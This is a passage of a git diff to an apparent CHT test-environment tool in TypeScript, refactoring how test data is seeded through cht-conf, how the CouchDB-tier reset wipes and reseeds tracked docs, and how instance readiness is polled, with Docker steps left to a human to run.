@@ -646,7 +819,7 @@ export class TestEnvironmentAgent {
   /**
    * Apply (compile + upload) a config project to the instance via cht-conf.
    * Defaults to cht-core's in-repo `config/default`; cht-conf tickets pass the
-   * mounted deployment config (CHT_CONF_PATH). `actions` selects which cht-conf
+   * deployment's config project as `configPath`. `actions` picks which cht-conf
    * upload buckets run — settings, app forms, contact forms, resources — so the
    * cht-conf validate loop can re-upload only the artifact it changed.
    *
@@ -742,7 +915,7 @@ export class TestEnvironmentAgent {
   /**
    * Seed test data (places, people, reports, users) that conforms to the
    * discovered config. Real path: cht-conf `csv-to-docs` + `upload-docs` turn
-   * `<dataPath>/csv/*.csv` into docs on the instance, then `create-users`
+   * `<dataPath>/csv/*.csv` (or a hand-authored json_docs) into docs, then `create-users`
    * provisions accounts from `<dataPath>/users.csv` when present. The seeded
    * doc ids are tracked per environment so `reset('couchdb')` can wipe and
    * reseed them without touching the deployed config.
@@ -771,37 +944,31 @@ export class TestEnvironmentAgent {
   /**
    * Real prepareTestData path: seed docs (csv-to-docs + upload-docs) then users
    * (create-users when users.csv exists), tracking the seeded doc ids per env for
-   * the couchdb reset. Requires options.dataPath (a cht-conf project with csv/).
+   * the couchdb reset. Requires options.dataPath (a cht-conf project with csv/ or json_docs/).
    */
   private async prepareTestDataReal(
     handle: EnvironmentHandle,
     config: DiscoveredConfig,
     options: PrepareTestDataOptions
   ): Promise<TestDataResult> {
-    const dataPath = options.dataPath;
-    if (!dataPath) {
+    if (!options.dataPath) {
       throw new Error('prepareTestData requires options.dataPath (a cht-conf project folder with csv/)');
     }
-    const shared: SeedRunBase = {
-      instanceUrl: credentialedUrl(handle),
-      configPath: dataPath,
-      // cht-conf drops report files (upload-docs.<ts>.log.json) in its cwd;
-      // keep them in the data project, not the repo.
-      cwd: dataPath,
+    const source: SeedSource = {
+      dataPath: resolve(options.dataPath),
       bin: options.bin,
       timeoutMs: options.timeoutMs,
     };
+    const shared = seedRunBase(handle, source);
     const warnings: string[] = [];
 
-    const { docsOk, seeded, counts } = await prepareDocs(shared, dataPath, config, warnings);
-    const { usersCreated, usersOk } = await seedUsers(shared, dataPath, warnings);
+    const { docsOk, uploadRan, seeded, counts } = await prepareDocs(shared, source.dataPath, config, warnings);
+    const { usersCreated, usersOk } = await seedUsers(shared, source.dataPath, warnings);
 
-    // Only a successful, non-empty seed defines the reset worklist — a failed or
-    // empty re-seed must not clobber a live one (docs from the earlier seed are
-    // still on the instance).
-    if (docsOk && seeded.length > 0) {
-      const base = { dataPath, bin: options.bin, timeoutMs: options.timeoutMs };
-      this.trackSeededDocs(handle, seeded, base, warnings);
+    // Only a clean upload run defines the reset worklist: a failed re-seed must not clobber a
+    // live one (docs from the earlier seed are still on the instance).
+    if (uploadRan && seeded.length > 0) {
+      this.seededData.set(trackingKey(handle), { ...source, docIds: seeded.map((doc) => doc.id) });
     }
 
     return {
@@ -815,33 +982,15 @@ export class TestEnvironmentAgent {
     };
   }
 
-  /**
-   * Record the reset worklist for this environment, refusing ids that name
-   * deployed configuration (see PROTECTED_DOC_ID).
-   */
-  private trackSeededDocs(
-    handle: EnvironmentHandle,
-    seeded: SeededDoc[],
-    base: { dataPath: string; bin?: string; timeoutMs?: number },
-    warnings: string[]
-  ): void {
-    const { safe, protectedIds } = partitionProtected(seeded.map((doc) => doc.id));
-    if (protectedIds.length > 0) {
-      warnings.push(
-        `${protectedIds.length} seeded doc id(s) name deployed config and are excluded from ` +
-          `reset: ${protectedIds.slice(0, 3).join(', ')}`
-      );
-    }
-    this.seededData.set(trackingKey(handle), { ...base, docIds: safe, protectedSkipped: protectedIds });
-  }
-
   /**
    * Reset the environment to a known state. See the three-tier reset strategy
    * in the recommendation doc. The couchdb tier is the one reset the agent
    * performs itself (CouchDB HTTP API — no Docker): it wipes the docs the last
-   * prepareTestData seeded and re-uploads pristine copies. Ids that name deployed
-   * configuration or user accounts are refused, so the deployed config survives
-   * whatever the data project contains. restart/full stay human-gated.
+   * prepareTestData seeded, re-uploads pristine copies, and checks they are back.
+   * restart/full stay human-gated: they print the command and return
+   * `performedBy: 'human-gate'` with zero counts WITHOUT waiting for the human, so the
+   * caller re-confirms health itself. CouchDB data is a bind mount (COUCHDB_DATA), so it
+   * survives `down -v`; only the named volumes go.
    */
   async reset(
     handle: EnvironmentHandle,
@@ -879,7 +1028,7 @@ export class TestEnvironmentAgent {
     options: ResetOptions
   ): SeededDataRecord | undefined {
     const tracked = this.seededData.get(trackingKey(handle));
-    const dataPath = options.dataPath ?? tracked?.dataPath;
+    const dataPath = options.dataPath === undefined ? tracked?.dataPath : resolve(options.dataPath);
     if (dataPath === undefined) {
       assertNoOrphanDocIds(options);
       return undefined;
@@ -888,16 +1037,13 @@ export class TestEnvironmentAgent {
     if (docIds.length === 0) {
       return undefined;
     }
-    return { ...tracked, dataPath, docIds, protectedSkipped: tracked?.protectedSkipped ?? [] };
+    return { ...tracked, dataPath, docIds };
   }
 
   /**
-   * couchdb-tier reset: delete the tracked seeded docs at their CURRENT revs
-   * (sentinel may have bumped them), then reseed pristine copies from the
-   * tracked json_docs. The reseed source is pre-flighted BEFORE the wipe so a
-   * vanished data project fails closed instead of leaving the instance empty.
-   * Throws when the wipe or the reseed does not fully apply — a half-reset
-   * environment must not pass as clean.
+   * couchdb-tier reset. Before anything is deleted it refuses a data project that names
+   * deployed config and any doc json_docs cannot put back; then it wipes, reseeds, and
+   * confirms from CouchDB that every wiped doc returned. A half-reset never passes as clean.
    */
   private async resetCouchdbTier(handle: EnvironmentHandle, options: ResetOptions): Promise<ResetResult> {
     const tracked = this.resolveResetWorklist(handle, options);
@@ -908,58 +1054,38 @@ export class TestEnvironmentAgent {
       );
       return { tier: 'couchdb', wiped: 0, reseeded: 0, performedBy: 'agent', protectedSkipped: [] };
     }
-
-    // Pre-flight the reseed source BEFORE the destructive wipe: if the data
-    // project's json_docs are gone, wiping would leave the environment empty
-    // while this method reports success.
     const onDisk = readSeededDocs(tracked.dataPath);
-    if (onDisk.length === 0) {
-      throw new Error(
-        `couchdb reset: ${tracked.dataPath}/json_docs has no docs to reseed from — ` +
-          're-run prepareTestData instead of resetting'
-      );
-    }
-
-    // Defence in depth — tracking already filters, but options.docIds does not.
+    assertNoProtectedDocs('couchdb reset', tracked.dataPath, onDisk);
+    // Tracking never holds a protected id, but a caller-supplied docIds list might.
     const { safe, protectedIds } = partitionProtected(tracked.docIds);
-    const refused = [...new Set([...tracked.protectedSkipped, ...protectedIds])];
-    if (protectedIds.length > 0) {
-      console.warn(
-        `[Test Environment Agent] couchdb reset: refusing to wipe ${protectedIds.length} protected ` +
-          `config doc(s): ${protectedIds.slice(0, 5).join(', ')}`
-      );
-    }
+    assertRestorable(tracked.dataPath, safe, onDisk);
 
     console.log(`[Test Environment Agent] couchdb reset: wiping ${safe.length} seeded doc(s) -> ${handle.url}`);
     const wiped = await wipeTrackedDocs(handle, safe);
-    const reseeded = await reseedTrackedDocs(handle, tracked, onDisk);
-
-    // The reseeded docs are the new tracked state (the dataset may have
-    // changed since the wiped set was seeded).
-    const nextWorklist = partitionProtected(onDisk.map((doc) => doc.id));
-    this.seededData.set(trackingKey(handle), {
-      ...tracked,
-      docIds: nextWorklist.safe,
-      protectedSkipped: nextWorklist.protectedIds,
-    });
+    await reseedTrackedDocs(handle, tracked, wiped);
+    await verifyRestored(handle, safe);
 
-    console.log(
-      `[Test Environment Agent] couchdb reset complete — ${wiped} doc(s) wiped, ${reseeded} reseeded`
-    );
-    return { tier: 'couchdb', wiped, reseeded, performedBy: 'agent', protectedSkipped: refused };
+    // The dataset may have changed since the wiped set was seeded.
+    this.seededData.set(trackingKey(handle), { ...tracked, docIds: onDisk.map((doc) => doc.id) });
+    console.log(`[Test Environment Agent] couchdb reset complete — ${wiped} doc(s) wiped, ${safe.length} restored`);
+    return {
+      tier: 'couchdb',
+      wiped,
+      reseeded: safe.length,
+      performedBy: 'agent',
+      protectedSkipped: protectedIds,
+    };
   }
 
   /**
-   * Tear the environment down and clean up volumes.
+   * Tear the environment down. Tracking is kept: CouchDB data is a bind mount that survives
+   * `down -v`, so the seeded docs are still there when the same stack comes back, and a stale
+   * entry is harmless (the wipe skips docs that are gone, the reseed recreates them).
    */
   async teardown(handle: EnvironmentHandle): Promise<void> {
     if (!this.useMockDocker) {
-      // The environment (and every doc in it) is going away with the volumes.
-      this.seededData.delete(trackingKey(handle));
-
-      const target = gateArg(handle.chtCorePath);
       console.log('[Test Environment Agent] HUMAN GATE — teardown (the agent runs no Docker):');
-      console.log(`    scripts/test-env-down.sh${target}   # docker compose down -v`);
+      console.log(`    ${gateEnv()}scripts/test-env-down.sh${gateArg(handle.chtCorePath)}   # docker compose down -v`);
       return;
     }
 
diff --git a/src/types/index.ts b/src/types/index.ts
index dc5a3fda..3a5e5860 100644
--- a/src/types/index.ts
+++ b/src/types/index.ts
@@ -805,7 +805,7 @@ export type ConfigUploadAction =
 /**
  * Inputs to applyConfig. `configPath` defaults to cht-core's in-repo
  * `config/default`, resolved against the handle's chtCorePath; for cht-conf
- * tickets it points at the mounted deployment config (CHT_CONF_PATH).
+ * tickets, pass the deployment's config project.
  * `actions` narrows which cht-conf uploads run — omit to run the standard set
  * (the cht-core default-config flow).
  */
@@ -962,20 +962,28 @@ export interface ReadinessOptions {
   initialDelayMs?: number;
   /** Upper bound on the exponential backoff delay (ms). */
   maxDelayMs?: number;
-  /** Per-request timeout so a hung connection can't block past maxWaitMs (ms). */
+  /**
+   * Per-request timeout (ms). A probe near the deadline still gets min(this, 1 s), so a
+   * wait can overrun maxWaitMs by up to that.
+   */
   requestTimeoutMs?: number;
 }
 
 /**
- * Inputs to provision an environment (need a local code path OR a published version)
+ * Inputs to provision an environment. Real mode needs chtCorePath (the checkout
+ * scripts/test-env-up.sh builds); a published `version` is mock-only.
  */
 export interface ProvisionOptions {
   chtCorePath?: string;
   version?: string;
+  /** Real mode accepts only cht-agent-net, which the scripts and override hardcode. */
   network?: string;
   /** Target URL of the running instance (default: https://nginx on cht-agent-net). */
   url?: string;
-  /** Credentials for the instance (default: medic/password — cht-docker-compose.sh defaults). */
+  /**
+   * CouchDB admin credentials (default: the url's userinfo, else COUCHDB_USER /
+   * COUCHDB_PASSWORD, else medic/password — the same defaults as scripts/test-env-up.sh).
+   */
   auth?: { user: string; password: string };
   /** Readiness polling tuning (the human may take minutes to bring the env up). */
   readiness?: ReadinessOptions;
@@ -1003,12 +1011,13 @@ export interface EnvironmentHandle {
  * Result of seeding test data into the environment
  */
 export interface TestDataResult {
+  /** The counts classify what json_docs held; `succeeded` says whether the instance took it all. */
   placesCreated: number;
   peopleCreated: number;
   reportsCreated: number;
   usersCreated: number;
   warnings: string[];
-  /** True when every cht-conf seeding invocation exited cleanly. */
+  /** True when every doc uploaded and every cht-conf seeding run exited 0. */
   succeeded: boolean;
   /**
    * _ids of the docs seeded via csv-to-docs + upload-docs (evidence for the
diff --git a/src/utils/cht-api.ts b/src/utils/cht-api.ts
index 1477d8c4..89bad33c 100644
--- a/src/utils/cht-api.ts
+++ b/src/utils/cht-api.ts
@@ -120,6 +120,22 @@ export const fetchSettings = async (
   return settings as Record<string, unknown>;
 };
 
+/** The CouchDB session for these credentials: cht-api proxies GET /_session straight to CouchDB. */
+export const fetchSession = async (
+  url: string,
+  auth: ChtAuth,
+  options: ChtRequestOptions = {}
+): Promise<{ name: string | null; roles: string[] }> => {
+  const body = (await request(url, auth, '/_session', options)) as {
+    userCtx?: { name?: string | null; roles?: unknown };
+  };
+  const roles = body.userCtx?.roles;
+  return {
+    name: body.userCtx?.name ?? null,
+    roles: Array.isArray(roles) ? roles.filter((role): role is string => typeof role === 'string') : [],
+  };
+};
+
 // _all_docs key range covering every `form:<id>` doc. \ufff0 is the
 // conventional high-sentinel: it sorts after any real form id character.
 const FORM_RANGE_QUERY = new URLSearchParams({
diff --git a/src/utils/cht-conf-runner.ts b/src/utils/cht-conf-runner.ts
index e0bd1a6a..c49ea59f 100644
--- a/src/utils/cht-conf-runner.ts
+++ b/src/utils/cht-conf-runner.ts
@@ -97,6 +97,10 @@ const minimalEnv = (): NodeJS.ProcessEnv => {
  * treats every bare positional as an action name and throws
  * "Unsupported action(s)" otherwise — only `cmdArgs['--']` reaches
  * environment.extraArgs (which is what args-form-filter reads).
+ *
+ * The credentialed URL is never logged, but argv is readable by every process in the
+ * same PID namespace (/proc/<pid>/cmdline) for the life of the child; cht-conf 6.x takes
+ * a remote --url only this way. Acceptable for a disposable instance.
  */
 const buildExecArgs = (options: ChtConfExecOptions): string[] => [
   `--url=${options.instanceUrl}`,
@@ -106,20 +110,25 @@ const buildExecArgs = (options: ChtConfExecOptions): string[] => [
   ...(options.extraArgs?.length ? ['--', ...options.extraArgs] : []),
 ];
 
-/**
- * Build the cht-conf argv for a bucket (no credentials are logged; the URL with
- * embedded creds lives only in the argv passed to spawn). Exported for testing.
- */
-export const buildChtConfArgs = (options: ChtConfRunOptions): string[] => {
+const bucketExecOptions = (options: ChtConfRunOptions): ChtConfExecOptions => {
+  const verbs = CONFIG_ACTION_COMMANDS[options.action];
   const formFilter = options.artifact && FORM_BUCKETS.has(options.action) ? [options.artifact] : [];
-  return buildExecArgs({
-    verbs: CONFIG_ACTION_COMMANDS[options.action],
+  return {
+    verbs,
     instanceUrl: options.instanceUrl,
     configPath: options.configPath,
     extraArgs: formFilter,
-  });
+    logLabel: `${options.action}: ${verbs.join(' ')}`,
+    cwd: options.cwd,
+    bin: options.bin,
+    timeoutMs: options.timeoutMs,
+  };
 };
 
+/** Exported for testing: exactly the argv runBucket spawns, via the same lowering. */
+export const buildChtConfArgs = (options: ChtConfRunOptions): string[] =>
+  buildExecArgs(bucketExecOptions(options));
+
 // cht-conf logs a "no changes" line per artifact when its hash matches the
 // instance. CRUCIALLY these skip lines contain the word "uploaded" (e.g.
 // "Form x not uploaded, no changes"), so a naive /uploaded/ match misfires —
@@ -154,32 +163,34 @@ export const classifyChtConfOutput = (output: string, exitCode: number | null):
 };
 
 const OUTPUT_TAIL_LINES = 5;
-// cht-conf colours its log lines (test-data.ts strips the same escapes for parsing);
-// warnings are read by humans and end up in JSON, so strip them here too.
+// cht-conf's log.js prefixes every line with a colour code (\x1b[31mERROR ...); the
+// escape's trailing `m` defeats \b, so strip before matching the level tag.
 // eslint-disable-next-line no-control-regex
 const ANSI_ESCAPES = /\x1b\[[0-9;]*m/g;
+const ERROR_LINE = /^ERROR\b/;
 
-/**
- * cht-conf's own account of what went wrong. Its failures end in a long stack
- * trace with the one useful `ERROR <reason>` line at the bottom, so prefer the
- * ERROR lines when there are any and fall back to the tail otherwise.
- */
-const outputTail = (output: string): string[] => {
-  const lines = output
-    .replace(ANSI_ESCAPES, '')
+const outputLines = (output: string): string[] =>
+  output
+    .replaceAll(ANSI_ESCAPES, '')
     .split('\n')
     .map((line) => line.trim())
     .filter((line) => line.length > 0);
-  const errors = lines.filter((line) => /\berror\b/i.test(line));
-  return (errors.length > 0 ? errors : lines).slice(-OUTPUT_TAIL_LINES);
+
+/** cht-conf's own account of a failure: its ERROR lines, else the last few lines. */
+export const outputTail = (output: string): string[] => {
+  const lines = outputLines(output);
+  const errors = lines.filter((line) => ERROR_LINE.test(line));
+  return (errors.length > 0 ? errors : lines).slice(-OUTPUT_TAIL_LINES).map((line) => `cht-conf: ${line}`);
 };
 
+/** cht-conf logs ERROR and still exits 0 on some paths (upload-custom-translations). */
+const loggedErrorButExitedZero = (run: ChtConfExecResult): boolean =>
+  run.exitCode === 0 && outputLines(run.output).some((line) => ERROR_LINE.test(line));
+
 /**
- * Explain a bucket that produced no upload evidence, and upgrade a targeted miss
- * to `failed`: if the caller named an artifact and cht-conf matched nothing, the
- * requested upload did not happen — a failure of intent, not a no-op. A missing
- * bucket input (cht-core's config/default has no branding.json, for instance)
- * stays `skipped`.
+ * Explain a bucket that produced no upload evidence. `matchedNothing` marks an unmatched
+ * form filter or a missing bucket input, as distinct from a hash-based skip of something
+ * that exists; applyConfig decides whether a targeted apply actually happened.
  */
 const classifySkippedBucket = (
   run: ChtConfExecResult,
@@ -207,7 +218,7 @@ const classifySkippedBucket = (
  * output is redacted at this boundary — no caller (a log line, a trace span, an
  * error message) can leak the instance password by forwarding it.
  */
-export const redactUrlCreds = (text: string): string => text.replace(/(\/\/)[^/\s:@]+:[^/\s]*@/g, '$1***:***@');
+export const redactUrlCreds = (text: string): string => text.replaceAll(/(\/\/)[^/\s:@]+:[^/\s]*@/g, '$1***:***@');
 
 /**
  * Run one `cht` process for an ordered verb list. Resolves with the raw
@@ -242,7 +253,12 @@ export const runChtConf = (options: ChtConfExecOptions): Promise<ChtConfExecResu
     };
 
     const timeoutId = setTimeout(() => {
+      // Signals reach only the direct child: an xls2xform grandchild spawned by a form
+      // conversion can outlive the timeout.
       proc.kill('SIGTERM');
+      const hardKill = setTimeout(() => proc.kill('SIGKILL'), 5_000);
+      hardKill.unref();
+      proc.once('close', () => clearTimeout(hardKill));
       finish({ exitCode: null, timedOut: true });
     }, timeoutMs);
 
@@ -265,23 +281,37 @@ export const runChtConf = (options: ChtConfExecOptions): Promise<ChtConfExecResu
   });
 };
 
-/**
- * Map a finished bucket run onto a ConfigActionStatus, appending any failure
- * warning. A timeout or spawn error is `failed`; otherwise the status is parsed
- * from stdout (classifyChtConfOutput).
- */
-const deriveBucketStatus = (
+/** Failures stdout parsing cannot see: timeout, spawn error, or ERROR under exit 0. */
+const noteHardFailure = (
   run: ChtConfExecResult,
   options: ChtConfRunOptions,
   warnings: string[]
-): { status: ConfigActionStatus; matchedNothing: boolean } => {
+): boolean => {
   if (run.timedOut) {
-    const timeoutMs = options.timeoutMs ?? DEFAULT_TIMEOUT_MS;
-    warnings.push(`cht-conf ${options.action} timed out after ${timeoutMs}ms`);
-    return { status: 'failed', matchedNothing: false };
+    warnings.push(`cht-conf ${options.action} timed out after ${options.timeoutMs ?? DEFAULT_TIMEOUT_MS}ms`);
+    return true;
   }
   if (run.startError !== undefined) {
     warnings.push(`cht-conf ${options.action} failed to start: ${run.startError}`);
+    return true;
+  }
+  if (loggedErrorButExitedZero(run)) {
+    warnings.push(
+      `cht-conf ${options.action} logged an error but exited 0 — treated as failed`,
+      ...outputTail(run.output)
+    );
+    return true;
+  }
+  return false;
+};
+
+/** Map a finished bucket run onto a ConfigActionStatus, appending any failure warning. */
+const deriveBucketStatus = (
+  run: ChtConfExecResult,
+  options: ChtConfRunOptions,
+  warnings: string[]
+): { status: ConfigActionStatus; matchedNothing: boolean } => {
+  if (noteHardFailure(run, options, warnings)) {
     return { status: 'failed', matchedNothing: false };
   }
   const status = classifyChtConfOutput(run.output, run.exitCode);
@@ -289,8 +319,7 @@ const deriveBucketStatus = (
     return classifySkippedBucket(run, options, warnings);
   }
   if (status === 'failed') {
-    // A non-zero exit otherwise arrives with no explanation at all.
-    warnings.push(...outputTail(run.output).map((line) => `cht-conf: ${line}`));
+    warnings.push(...outputTail(run.output));
   }
   return { status, matchedNothing: false };
 };
@@ -303,23 +332,12 @@ const deriveBucketStatus = (
 export const runBucket = async (options: ChtConfRunOptions): Promise<ConfigActionResult> => {
   const verbs = CONFIG_ACTION_COMMANDS[options.action];
   const warnings: string[] = [];
-  const isFormBucket = FORM_BUCKETS.has(options.action);
 
-  if (options.artifact && !isFormBucket) {
+  if (options.artifact && !FORM_BUCKETS.has(options.action)) {
     warnings.push(`artifact targeting ignored for the ${options.action} bucket`);
   }
-  const formFilter = options.artifact && isFormBucket ? [options.artifact] : [];
 
-  const run = await runChtConf({
-    verbs,
-    instanceUrl: options.instanceUrl,
-    configPath: options.configPath,
-    extraArgs: formFilter,
-    logLabel: `${options.action}: ${verbs.join(' ')}`,
-    cwd: options.cwd,
-    bin: options.bin,
-    timeoutMs: options.timeoutMs,
-  });
+  const run = await runChtConf(bucketExecOptions(options));
 
   const { status, matchedNothing } = deriveBucketStatus(run, options, warnings);
   return {
diff --git a/src/utils/cht-readiness.ts b/src/utils/cht-readiness.ts
index e2c68a79..6ac01722 100644
--- a/src/utils/cht-readiness.ts
+++ b/src/utils/cht-readiness.ts
@@ -3,7 +3,7 @@
  *
  * The agent never runs Docker — the human brings the environment up. This util
  * polls the CHT monitoring endpoint until the instance reports healthy, or
- * rejects after a timeout with a clear "is the environment up?" message.
+ * rejects with a clear "is the environment up?" message.
  *
  * See: designs/layer_recommendations/test-environment-layer.md
  */
@@ -11,55 +11,136 @@
 import { ReadinessOptions } from '../types';
 
 const MONITORING_PATH = '/api/v2/monitoring';
+const MIN_PROBE_MS = 1_000;
+
+// Waiting cannot fix a certificate the runtime does not trust, or a URL that redirects.
+const TLS_VERIFY_CODES = new Set([
+  'DEPTH_ZERO_SELF_SIGNED_CERT',
+  'SELF_SIGNED_CERT_IN_CHAIN',
+  'UNABLE_TO_VERIFY_LEAF_SIGNATURE',
+  'UNABLE_TO_GET_ISSUER_CERT_LOCALLY',
+  'CERT_HAS_EXPIRED',
+  'ERR_TLS_CERT_ALTNAME_INVALID',
+]);
+
+type NotReady = { ready: false; reason: string; terminal: boolean };
+type ProbeOutcome = { ready: true } | NotReady;
+type FetchResponse = Awaited<ReturnType<typeof fetch>>;
+
+const READY: ProbeOutcome = { ready: true };
 
 const sleep = (ms: number): Promise<void> => new Promise(resolve => setTimeout(resolve, ms));
 
-/**
- * A single readiness attempt. Bounds the request so a hung connection can't
- * block past maxWaitMs. Returns `null` when the instance is healthy, otherwise
- * a short reason string for the eventual timeout message.
- */
-const probeOnce = async (url: string, requestTimeoutMs: number): Promise<string | null> => {
+const causeOf = (error: Error): NodeJS.ErrnoException | undefined =>
+  error.cause instanceof Error ? error.cause : undefined;
+
+/** Node reports every network and TLS failure as `fetch failed`; the reason is on error.cause. */
+const describeProbeFailure = (error: unknown): NotReady => {
+  if (!(error instanceof Error)) {
+    return { ready: false, reason: 'unreachable', terminal: false };
+  }
+  const cause = causeOf(error);
+  const detail = cause?.message || cause?.code;
+  return {
+    ready: false,
+    reason: detail ? `${error.message} (${detail})` : error.message,
+    terminal: cause?.code !== undefined && TLS_VERIFY_CODES.has(cause.code),
+  };
+};
+
+/** Monitoring reports '' for a version it cannot read, i.e. while the app or CouchDB is down. */
+const isVersion = (value: unknown): boolean => typeof value === 'string' && value !== '';
+
+const isHealthy = (body: unknown): boolean => {
+  const version = (body as { version?: { app?: unknown; couchdb?: unknown } } | null)?.version;
+  return isVersion(version?.app) && isVersion(version?.couchdb);
+};
+
+const classifyResponse = async (response: FetchResponse): Promise<ProbeOutcome> => {
+  if (response.status >= 300 && response.status < 400) {
+    const reason = `HTTP ${response.status} redirect — check the URL's scheme and host`;
+    return { ready: false, reason, terminal: true };
+  }
+  if (!response.ok) {
+    return { ready: false, reason: `HTTP ${response.status}`, terminal: false };
+  }
+  const body: unknown = await response.json().catch(() => null);
+  return isHealthy(body) ? READY : { ready: false, reason: 'the app or CouchDB is not up yet', terminal: false };
+};
+
+const probeOnce = async (url: string, requestTimeoutMs: number): Promise<ProbeOutcome> => {
   try {
     const response = await fetch(`${url}${MONITORING_PATH}`, {
+      // Until cht-api is up it answers every route with a 200 "starting" page, and returns
+      // its 503 only to clients that ask for JSON.
+      headers: { Accept: 'application/json' },
+      redirect: 'manual',
       signal: AbortSignal.timeout(requestTimeoutMs),
     });
-    return response.ok ? null : `HTTP ${response.status}`;
+    return await classifyResponse(response);
   } catch (error) {
-    return error instanceof Error ? error.message : 'unreachable';
+    return describeProbeFailure(error);
   }
 };
 
+const resolveReadiness = (options: ReadinessOptions): Required<ReadinessOptions> => {
+  const maxDelayMs = options.maxDelayMs ?? 15_000;
+  return {
+    maxWaitMs: options.maxWaitMs ?? 120_000,
+    maxDelayMs,
+    requestTimeoutMs: options.requestTimeoutMs ?? 10_000,
+    initialDelayMs: Math.min(options.initialDelayMs ?? 2_000, maxDelayMs),
+  };
+};
+
+const assertFiniteBudget = (maxWaitMs: number): void => {
+  if (!Number.isFinite(maxWaitMs) || maxWaitMs < 0) {
+    throw new Error(`waitForReady: maxWaitMs must be a finite, non-negative number (got ${maxWaitMs})`);
+  }
+};
+
+const reportChange = (outcome: NotReady, previous: string | undefined): string => {
+  if (outcome.reason !== previous) {
+    console.log(`[cht-readiness] not ready: ${outcome.reason}`);
+  }
+  return outcome.reason;
+};
+
+const isFinal = (outcome: NotReady, remaining: number, reserve: number): boolean =>
+  outcome.terminal || remaining <= reserve;
+
+const notReadyError = (url: string, maxWaitMs: number, outcome: NotReady): Error =>
+  new Error(
+    outcome.terminal
+      ? `CHT at ${url} cannot become ready as configured: ${outcome.reason}.`
+      : `CHT did not become ready at ${url} within ${maxWaitMs}ms (last: ${outcome.reason}). ` +
+          'Is the environment up? Bring it up (human-gated) and retry.'
+  );
+
 /**
- * Poll `${url}/api/v2/monitoring` until it responds OK, using exponential
- * backoff. Resolves once healthy; rejects if it never becomes ready in time.
+ * Poll `${url}/api/v2/monitoring` until it reports healthy, using exponential backoff.
+ * The last sleep stops short of the deadline so the final probe has a real budget.
  */
 export const waitForReady = async (url: string, options: ReadinessOptions = {}): Promise<void> => {
-  const maxWaitMs = options.maxWaitMs ?? 120_000;
-  const maxDelayMs = options.maxDelayMs ?? 15_000;
-  const requestTimeoutMs = options.requestTimeoutMs ?? 10_000;
-  let delay = options.initialDelayMs ?? 2_000;
-
+  const { maxWaitMs, maxDelayMs, requestTimeoutMs, initialDelayMs } = resolveReadiness(options);
+  assertFiniteBudget(maxWaitMs);
+  const reserve = Math.min(requestTimeoutMs, MIN_PROBE_MS);
   const start = Date.now();
-  let lastError = 'no response';
+  let delay = initialDelayMs;
+  let previousReason: string | undefined;
 
-  while (Date.now() - start < maxWaitMs) {
-    const error = await probeOnce(url, requestTimeoutMs);
-    if (error === null) {
+  for (;;) {
+    const budget = Math.min(requestTimeoutMs, Math.max(maxWaitMs - (Date.now() - start), reserve));
+    const outcome = await probeOnce(url, budget);
+    if (outcome.ready) {
       return;
     }
-    lastError = error;
-
+    previousReason = reportChange(outcome, previousReason);
     const remaining = maxWaitMs - (Date.now() - start);
-    if (remaining <= 0) {
-      break;
+    if (isFinal(outcome, remaining, reserve)) {
+      throw notReadyError(url, maxWaitMs, outcome);
     }
-    await sleep(Math.min(delay, remaining));
+    await sleep(Math.min(delay, remaining - reserve));
     delay = Math.min(delay * 1.5, maxDelayMs);
   }
-
-  throw new Error(
-    `CHT did not become ready at ${url} within ${maxWaitMs}ms (last: ${lastError}). ` +
-      'Is the environment up? Bring it up (human-gated) and retry.'
-  );
 };
diff --git a/src/utils/test-data.ts b/src/utils/test-data.ts
index bce74284..615e9a46 100644
--- a/src/utils/test-data.ts
+++ b/src/utils/test-data.ts
@@ -1,9 +1,9 @@
 /**
  * Test-data helpers for the Test Environment Layer.
  *
- * Everything prepareTestData needs around the cht-conf runner: reading the
- * json_docs directory csv-to-docs produced (the fs access is isolated here,
- * the way cht-readiness.ts isolates fetch), classifying seeded docs against
+ * Everything prepareTestData needs around the cht-conf runner: reading json_docs
+ * and tracking which of its files this layer generated (the fs access is isolated
+ * here, the way cht-readiness.ts isolates fetch), classifying seeded docs against
  * the discovered config, and parsing cht-conf's stdout (upload-docs summary,
  * create-users progress). cht-conf logs every level to STDOUT with ANSI color
  * prefixes (cht-conf's src/lib/log.js), so the parsers strip escapes first.
@@ -14,11 +14,14 @@
  * "Creating user <username>" before each POST /api/v1/users.
  */
 
-import { readdirSync, readFileSync, existsSync, unlinkSync } from 'node:fs';
-import { join } from 'node:path';
+import { createHash } from 'node:crypto';
+import { existsSync, readdirSync, readFileSync, unlinkSync, writeFileSync } from 'node:fs';
+import { basename, join } from 'node:path';
 import { DiscoveredConfig } from '../types';
 
 const DOC_FILE_EXTENSION = '.doc.json';
+// Beside json_docs, never in it, so upload-docs cannot pick it up.
+const OWNERSHIP_MANIFEST = '.cht-agent-seeded.json';
 
 /** A doc csv-to-docs generated, reduced to what classification needs. */
 export interface SeededDoc {
@@ -39,7 +42,7 @@ export interface SeededDocCounts {
 // eslint-disable-next-line no-control-regex
 const ANSI_ESCAPES = /\x1b\[[0-9;]*m/g;
 
-const stripAnsi = (output: string): string => output.replace(ANSI_ESCAPES, '');
+const stripAnsi = (output: string): string => output.replaceAll(ANSI_ESCAPES, '');
 
 /**
  * Parse upload-docs' summary line ("Summary: 12 of 12 docs uploaded OK.").
@@ -68,53 +71,87 @@ export const countCreatedUsers = (output: string): number => {
 /** True when the data project has a users.csv for create-users to consume. */
 export const hasUsersCsv = (dataPath: string): boolean => existsSync(join(dataPath, 'users.csv'));
 
-/**
- * Remove the .doc.json files a previous csv-to-docs run left behind in
- * `<dataPath>/json_docs`. csv-to-docs never cleans the directory (it warns
- * "There are already docs in <dir>" and writes alongside), so without this a
- * superseded dataset's docs would be re-uploaded and counted as the current
- * run's data. Only *.doc.json files are removed — upload-docs report logs and
- * anything else stay. Returns how many files were removed.
- */
-export const cleanSeededDocs = (dataPath: string): number => {
-  const docDir = join(dataPath, 'json_docs');
+/** True when the data project has CSV inputs for csv-to-docs to regenerate docs from. */
+export const hasCsvInput = (dataPath: string): boolean => existsSync(join(dataPath, 'csv'));
+
+const docDirOf = (dataPath: string): string => join(dataPath, 'json_docs');
+
+/** Every *.doc.json under json_docs, relative to it — recursive, as upload-docs reads it. */
+export const listDocFiles = (dataPath: string): string[] => {
+  const docDir = docDirOf(dataPath);
   if (!existsSync(docDir)) {
-    return 0;
+    return [];
   }
-  const names = readdirSync(docDir).filter((name) => name.endsWith(DOC_FILE_EXTENSION));
-  for (const name of names) {
-    unlinkSync(join(docDir, name));
+  return readdirSync(docDir, { recursive: true, encoding: 'utf-8' })
+    .filter((file) => file.endsWith(DOC_FILE_EXTENSION))
